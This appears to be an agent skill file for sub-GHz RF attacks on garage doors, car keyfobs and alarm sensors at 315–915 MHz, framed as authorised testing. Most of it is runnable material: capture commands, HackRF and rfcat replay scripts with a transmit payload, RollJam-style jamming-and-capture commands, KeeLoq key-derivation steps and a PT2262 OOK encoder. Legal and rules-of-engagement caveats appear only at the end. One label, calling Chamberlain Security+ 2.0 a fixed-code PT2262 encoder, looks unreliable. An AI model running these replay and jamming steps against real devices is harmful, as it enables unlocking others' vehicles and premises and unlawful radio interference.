| name | sub-ghz |
| description | Sub-GHz RF capture and replay for 433/868/915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF/Flipper Zero/RTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding/modulation identification. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"iot","when_to_use":"sub-GHz, 433 MHz, 868 MHz, 915 MHz, HackRF, Flipper Zero, RTL-SDR, rfcat, inspectrum, Universal Radio Hacker, URH, replay, rolling code, fixed code, garage door, keyfob, OOK, ASK, FSK, ISM band, rfcat, YARD Stick One","tags":"sub-ghz, 433mhz, replay, hackrf, flipper, rtlsdr, rfcat, iot, rf","mitre_attack":"T1040, T1557, T1190"} |
Sub-GHz ISM Band Capture and Replay
The 433/868/915 MHz ISM bands host a vast range of devices: garage door
openers, car remote entry, alarm sensors, smart meters, weather stations,
baby monitors, and industrial telemetry. Most use OOK or FSK modulation
with no authentication. Fixed-code devices are trivially replayed. Rolling-
code devices (KeeLoq, HiTag2) require additional analysis but have
documented weaknesses.
Prerequisites
-
Hardware (any one or more):
- HackRF One (1 MHz–6 GHz, TX+RX, 20 Msps) — most versatile.
- Flipper Zero (sub-GHz module, 300–928 MHz) — fastest field replay.
- RTL-SDR Blog v4 (receive only, 24 MHz–1766 MHz) — cheapest capture.
- YARD Stick One (rfcat, 300–928 MHz, CC1111 based, TX+RX) — scriptable.
- Proxmark3 (car key HiTag2 analysis, NFC — separate workload).
-
Software: rfcat, inspectrum, Universal Radio Hacker (URH), rtl_433,
GNU Radio, hackrf_transfer, SigDigger, rpitx (Raspberry Pi TX alternative).
pip install rfcat
apt install rtl-433
pip install urh
apt install inspectrum
Frequency and Modulation Quick Reference
| Frequency | Region / Use | Common modulation |
|---|
| 433.92 MHz | EU/AS garage, keyfobs, sensors | OOK-PWM, OOK-Manchester |
| 315 MHz | US garage doors, legacy keyfobs | OOK-PWM |
| 868.35 MHz | EU alarms, smart meters, LoRa overlap | FSK, OOK |
| 915 MHz | US ISM (LoRa, sensors, meters) | FSK, OOK |
| 303 MHz | US TPMS, some car remotes | OOK |
| 868.95 MHz | KNX, some home automation | FSK |
Phase 1: Passive Capture and Signal Identification
RTL-SDR (receive only)
rtl_sdr -f 433920000 -s 2400000 -g 40 /tmp/433_survey.iq
rtl_433 -f 433920000 -s 250k -g 40 -F json | tee /tmp/rtl433_decode.json
rtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a /tmp/rtl433_live.json
HackRF capture
hackrf_transfer -r /tmp/433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000
hackrf_transfer -r /tmp/868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000
Flipper Zero (fastest field method)
On Flipper Zero:
- Sub-GHz → Frequency Analyzer: identifies active frequencies.
- Sub-GHz → Read: captures and stores a signal to flash.
- Sub-GHz → Read Raw: stores raw IQ for later analysis.
flipper_tx read /ext/subghz/captures/signal_001.sub
Phase 2: Signal Analysis with inspectrum and URH
inspectrum /tmp/433_capture.iq -r 2000000
urh /tmp/433_capture.iq
Key parameters to identify:
- Modulation: OOK (On-Off Keying) = on/off pattern; FSK = two frequencies.
- Bit rate: measure pulse width in inspectrum (typical: 1000–4000 bps for OOK remotes).
- Encoding: PWM (pulse-width), Manchester, NRZ, biphase.
- Preamble: usually alternating 01010101 or a long carrier burst.
Phase 3: Fixed-Code Replay
With HackRF
hackrf_transfer -t /tmp/433_capture.iq -f 433920000 -s 2000000 -x 47 -R
python3 - <<'EOF'
import numpy as np
iq = np.fromfile("/tmp/433_capture.iq", dtype=np.int8)
amplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))
threshold = amplitude.max() * 0.3
start = np.argmax(amplitude > threshold) - 100
end = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100
burst = iq[start*2:end*2]
burst.tofile("/tmp/433_burst_trimmed.iq")
print(f"Burst: {start}–{end} samples ({(end-start)/2e6*1000:.1f} ms)")
EOF
hackrf_transfer -t /tmp/433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47
With YARD Stick One / rfcat
import rflib, time
d = rflib.RfCat()
d.setFreq(433920000)
d.setMdmModulation(rflib.MOD_ASK_OOK)
d.setMdmDRate(1000)
d.setMdmSyncMode(0)
d.setPktPktLen(50)
payload = bytes.fromhex("AAAAAAAAFAF0F0F0FAFAFAFAF0F0FAFAFAFAFAF0F0F0FA00")
d.RFxmit(data=payload, repeat=5)
print("[+] Transmitted fixed code.")
With Flipper Zero
After capturing with Sub-GHz → Read:
- Navigate to the saved file.
- Select Send → transmits the captured signal.
Phase 4: Rolling Code Analysis (KeeLoq / HiTag2)
Most modern car fobs and garage doors use rolling codes. The rolling-code
counter increments on each press; replaying an old code fails (the receiver
tracks the last used counter).
Attack vectors:
- RollJam (Samy Kamkar, 2015): jam the legitimate signal + capture it,
then jam again + capture, then release first captured code while holding
the second. The receiver sees code N (accepts), and code N+1 is held by
attacker.
hackrf_transfer -t /dev/urandom -f 433920000 -s 2000000 -x 40 &
JAMMER_PID=$!
rtl_sdr -f 433920000 -s 2000000 -g 40 /tmp/capture_while_jamming.iq &
sleep 5
kill $JAMMER_PID
- KeeLoq brute-force: if the manufacturer key is known (leaked or default),
derive the per-device key from the serial number and predict future codes.
git clone https://github.com/ulissesdias/keeloq_tools
python3 keeloq_tools/keeloq_decrypt.py \
--manufacturer-key AABBCCDDEEFF0011 \
--serial 12345678 \
--ciphertext DEADBEEF
- Long-range replay window: some receivers accept codes within a large
resync window (up to 256 codes ahead). If you captured a code before the
owner used it, replay within window.
Phase 5: OOK Signal Crafting for Specific Protocols
Chamberlain / LiftMaster (Security+ 2.0 — fixed encoder PT2262)
BIT_RATE = 1000
SHORT = int(2e6 / BIT_RATE / 3)
LONG = SHORT * 3
def encode_pt2262(tristate_code: str, sample_rate=2_000_000) -> bytes:
"""Encode a PT2262 tristate code to OOK IQ (int8)."""
iq = []
for bit in tristate_code:
if bit == '0':
iq += [127] * SHORT + [0] * LONG
elif bit == '1':
iq += [127] * LONG + [0] * SHORT
elif bit == 'F':
iq += [127] * SHORT + [0] * SHORT
iq += [127] * SHORT + [0] * (LONG * 31)
return bytes(iq)
Evidence
EVIDENCE="/workspace/evidence/sub-ghz/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/433_capture.iq "$EVIDENCE/"
cp /tmp/rtl433_decode.json "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
kind="finding",
label=f"Sub-GHz fixed-code replay success at {target_freq_mhz} MHz",
props={
"key": f"sub-ghz::{target_freq_mhz}::{target_id}",
"frequency_mhz": target_freq_mhz,
"modulation": "OOK-PWM",
"code_type": "fixed",
"replay_success": True,
"hardware": "HackRF One",
"source": "hackrf+rtl433",
},
)
OPSEC Notes
- RTL-SDR is purely passive — no transmission, zero legal risk during recon.
- Any transmission (HackRF, YARD Stick One, Flipper Zero transmit) is
legally restricted in most jurisdictions to frequencies you are licensed
for or that fall within unlicensed power limits. 433.92 MHz at ≤10 mW
is license-free in EU; 915 MHz similarly in US (FCC Part 15).
- High-power replay (hackrf_transfer -x 47 is ~0 dBm output after antenna) is
within Part 15 limits but confirm with RoE.
- RollJam requires intentional interference with a legitimate transmission —
constitutes jamming and requires explicit legal authorization in all
jurisdictions.
- Flipper Zero's sub-GHz module is transmit-capable but firmware restricts
frequencies outside regional ISM band — verify firmware version.
- Car key replay is covered by CFAA / Computer Fraud and Abuse Act (US) and
equivalent; only test on vehicles you own or have explicit written consent for.
References